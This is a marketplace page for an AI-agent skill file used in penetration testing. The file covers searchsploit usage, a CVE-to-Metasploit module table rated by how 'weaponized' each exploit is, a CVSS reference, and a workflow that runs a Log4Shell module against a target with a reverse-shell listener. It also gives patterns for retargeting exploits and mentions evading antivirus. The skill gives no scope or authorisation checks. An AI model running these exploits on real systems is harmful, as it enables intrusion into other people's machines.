본문으로 건너뛰기
cccskills
무료GitHub에 공개

exploit-db

Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구Confluence
설치 방법 보기

포함된 파일(1)

  • SKILL.md9.0 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

searchsploit Usage Patterns

# Text search in title/path
searchsploit apache 2.4

# Search by CVE
searchsploit --cve CVE-2021-41773
searchsploit --cve CVE-2021-44228

# JSON output for scripting
searchsploit apache --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
    print(e['EDB-ID'], e['Title'], e['Path'])
"

# Copy exploit to working dir
searchsploit -m 50383

# Update database
searchsploit -u

# Search by nmap XML output
searchsploit --nmap nmap_output.xml

# Filter by type (webapps, local, remote, dos)
searchsploit -t "remote" apache

# Search for specific OS
searchsploit windows 10 privilege escalation

# Show only exploits (not shellcodes/papers)
searchsploit wordpress --www-exploit-db

EDB → Metasploit Module Mapping (Top 40 Vulnerabilities)

CVE / EDB-IDVulnerabilityMetasploit ModuleReliability
CVE-2017-0144 / EDB-41891MS17-010 EternalBlueexploit/windows/smb/ms17_010_eternalblueWeaponized
CVE-2021-44228 / EDB-50592Log4Shell RCEexploit/multi/http/log4shell_header_injectionWeaponized
CVE-2021-1675 / EDB-50265PrintNightmareexploit/windows/dcerpc/cve_2021_1675_printnightmareWeaponized
CVE-2021-34473 / EDB-50243ProxyShell Exchangeexploit/windows/http/exchange_proxyshell_rceWeaponized
CVE-2020-1472 / EDB-49071ZeroLogonauxiliary/admin/dcerpc/cve_2020_1472_zerologonWeaponized
CVE-2022-22965 / EDB-50798Spring4Shellexploit/multi/http/spring_framework_rce_spring4shellWeaponized
CVE-2019-19781 / EDB-47901Citrix ADC Path Traversalexploit/linux/http/citrix_dir_traversal_rceWeaponized
CVE-2020-5902 / EDB-48695F5 BIG-IP RCEexploit/linux/http/f5_bigip_tmui_rceWeaponized
CVE-2021-26855 / EDB-49637ProxyLogon Exchangeexploit/windows/http/exchange_proxylogon_rceWeaponized
CVE-2022-26134 / EDB-51076Confluence OGNL RCEexploit/multi/http/atlassian_confluence_namespace_ognl_injectionWeaponized
CVE-2018-13379 / EDB-47288FortiOS Path Traversalauxiliary/gather/fortios_vpn_user_credFunctional
CVE-2022-1388 / EDB-50919F5 iControl Auth Bypassexploit/linux/http/f5_icontrol_rceWeaponized
CVE-2021-20038 / EDB-50882SonicWall SMA Stack Overflowexploit/linux/http/sonicwall_sma_overflowFunctional
CVE-2023-46604 / EDB-51880Apache ActiveMQ RCEexploit/multi/misc/apache_activemq_rce_cve_2023_46604Weaponized
CVE-2021-3156 / EDB-49521Sudo Baron Sameditexploit/linux/local/sudo_baron_sameditWeaponized
CVE-2021-4034 / EDB-50689PwnKit polkit LPEexploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecWeaponized
CVE-2022-0847 / EDB-50808Dirty Pipe Linux LPEexploit/linux/local/cve_2022_0847_dirtypipeWeaponized
CVE-2016-5195 / EDB-40616Dirty COW Linux LPEexploit/linux/local/overlayfs_priv_escWeaponized
CVE-2014-6271 / EDB-34766Shellshock Bash RCEexploit/multi/http/apache_mod_cgi_bash_env_execWeaponized
CVE-2017-5638 / EDB-41570Apache Struts2 RCEexploit/multi/http/struts2_content_type_ognlWeaponized
CVE-2019-0708 / EDB-47416BlueKeep RDP RCEexploit/windows/rdp/cve_2019_0708_bluekeep_rceFunctional
CVE-2020-0796 / EDB-48260SMBGhost RCEexploit/windows/smb/cve_2020_0796_smbghostFunctional
CVE-2018-7600 / EDB-44449Drupalgeddon2 RCEexploit/unix/webapp/drupal_drupalgeddon2Weaponized
CVE-2019-0211 / EDB-46676Apache HTTPd LPEexploit/multi/http/apache_mod_cgi_bash_env_execFunctional
CVE-2015-1701 / EDB-37367Windows Win32k LPEexploit/windows/local/ms15_051_client_copy_imageWeaponized
CVE-2020-14882 / EDB-49391Oracle WebLogic RCEexploit/multi/http/oracle_weblogic_admin_handle_rceWeaponized
CVE-2021-22005 / EDB-50513vCenter File Uploadexploit/linux/http/vmware_vcenter_uploadova_rceWeaponized
CVE-2022-41040 / EDB-51917ProxyNotShell Exchangeexploit/windows/http/exchange_proxynotshell_rceFunctional
CVE-2023-22515 / EDB-51899Confluence Priv EscManual PoC requiredFunctional
CVE-2024-21762 / EDB-51960FortiOS OOB WriteManual PoC requiredWeaponized
CVE-2019-11510 / EDB-47297Pulse Secure Arb File Readauxiliary/gather/pulse_secure_file_readWeaponized
CVE-2020-3452 / EDB-48577Cisco ASA Path Traversalauxiliary/gather/cisco_asa_local_file_inclusionWeaponized
CVE-2021-40539 / EDB-50781ManageEngine RCEexploit/multi/http/manageengine_adselfservice_plusrceWeaponized
CVE-2022-36537 / EDB-51327ZK Framework RCEManual PoCFunctional
CVE-2023-4966 / EDB-51888Citrix Bleed Session LeakManual PoCWeaponized
CVE-2024-3400 / EDB-52023PAN-OS GlobalProtect RCEManual PoCWeaponized
CVE-2022-47966 / EDB-51518ManageEngine SAML RCEexploit/linux/http/zoho_manageengine_saml_rceWeaponized
CVE-2023-27997 / EDB-51832FortiGate SSL-VPN Heap BOFManual PoCWeaponized
CVE-2023-20198 / EDB-51873Cisco IOS XE Priv EscManual PoCWeaponized
CVE-2024-6387 / EDB-52098OpenSSH regreSSHionManual PoC (race)DoS-only

PoC Reliability Rubric

LevelLabelCriteriaAction
1WeaponizedWorks out-of-box against target version, produces shell/access reliablyTest directly; log as CONFIRMED
2FunctionalRequires minor adaptation (change URL, adjust offset)Modify per target; log as VERIFIED
3DoS-onlyCrashes service but no code execConfirm version, log as CONFIRMED-DOS
4TheoreticalAcademic writeup, no working codeWrite PoC from paper or skip
5False/InvalidPatched, misidentified, or wrong versionLog as NOT-APPLICABLE

Reliability Assessment Checklist:

□ Check affected version range vs target version (confirm match)
□ Read comments/issues on GitHub PoC for known problems
□ Check EDB verified badge (green checkmark = tested by staff)
□ Note compile requirements (libc version, kernel headers, etc.)
□ Test in identical OS/service version lab before live target
□ Check VT multi-scanner on compiled binary (defense evasion consideration)

CVSS 3.1 Tier Quick Reference

ScoreSeverityVector PatternExamples
9.0–10.0CRITICALAV:N/AC:L/PR:N/UI:N/S:CPre-auth RCE, unauthenticated critical
7.0–8.9HIGHAV:N/AC:L/PR:N/UI:NAuth bypass, post-auth RCE, LPE
4.0–6.9MEDIUMAV:N/AC:L/PR:L or AV:L/AC:LAuth required, info disclosure
0.1–3.9LOWAV:L/AC:H/PR:HPhysical access, complex conditions

Common Vector Components:

AV: N(network) L(local) P(physical) A(adjacent)
AC: L(low) H(high)
PR: N(none) L(low) H(high)
UI: N(none) R(required)
S:  U(unchanged) C(changed)
C/I/A: N(none) L(low) H(high)

Pre-built CVSS Vectors by Category:

Pre-auth RCE (critical):    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  = 9.8
Auth bypass + access:       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  = 7.5
Post-auth RCE:              CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  = 8.8
Local privilege escalation: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  = 7.8
Stored XSS (admin):        CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N  = 5.4
SQLi (read-only):           CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N  = 6.5
SSRF (internal):            CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N  = 7.2
Path traversal (LFI):       CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  = 7.5
DoS (network):              CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  = 7.5
CSRF (state-change):        CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N  = 6.5

searchsploit + Metasploit Workflow

# 1. Find relevant exploits
searchsploit --cve CVE-2021-44228 --json | python3 -m json.tool

# 2. View exploit details before downloading
searchsploit -x exploits/java/webapps/50592.py

# 3. Mirror to current directory
searchsploit -m 50592

# 4. Find matching MSF module
msfconsole -q -x "search cve:2021-44228; exit"

# 5. Run MSF module
msfconsole -q -x "
use exploit/multi/http/log4shell_header_injection
set RHOSTS $TARGET
set RPORT $PORT
set TARGETURI /
set LHOST $LHOST
set LPORT $LPORT
run
exit
"

Common Exploit Modification Patterns

# Pattern 1: Fix URL in raw exploit
import re
code = open('exploit.py').read()
code = re.sub(r'http://[0-9.]+', f'http://{TARGET}', code)

# Pattern 2: Fix shell command in exploit
# Find LHOST/LPORT references and replace with env vars
import os
LHOST = os.environ['LHOST']
LPORT = os.environ['LPORT']

# Pattern 3: Adjust buffer offset for target binary version
# Use cyclic pattern to find EIP/RIP offset
python3 -c "from pwntools import *; print(cyclic(200))" | ./$BINARY
# Then check crash offset with: cyclic_find(b'faab')

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Active Directory attack reference — BloodHound Cypher queries, Kerberos attack decision tree, ACE/ACL abuse, ADCS ESC1-8, and AD misconfig checklist

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

mukul975/Threatswarm882026년 4월 30일 업데이트

MITRE ATT&CK framework reference — tactics, techniques, and tool-to-TTP mappings for pentest documentation and detection rule writing

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

mukul975/Threatswarm882026년 4월 30일 업데이트

CVSS 3.1 vector examples, executive summary template, full technical finding template, and remediation language bank for pentest reports

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

mukul975/Threatswarm882026년 4월 30일 업데이트

wordlists

무료

SecLists path map, hashcat rules, CeWL usage, and custom wordlist generation for all attack categories

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

mukul975/Threatswarm882026년 4월 30일 업데이트

mukul975의 스킬 모두 보기

이 스킬의 문제 신고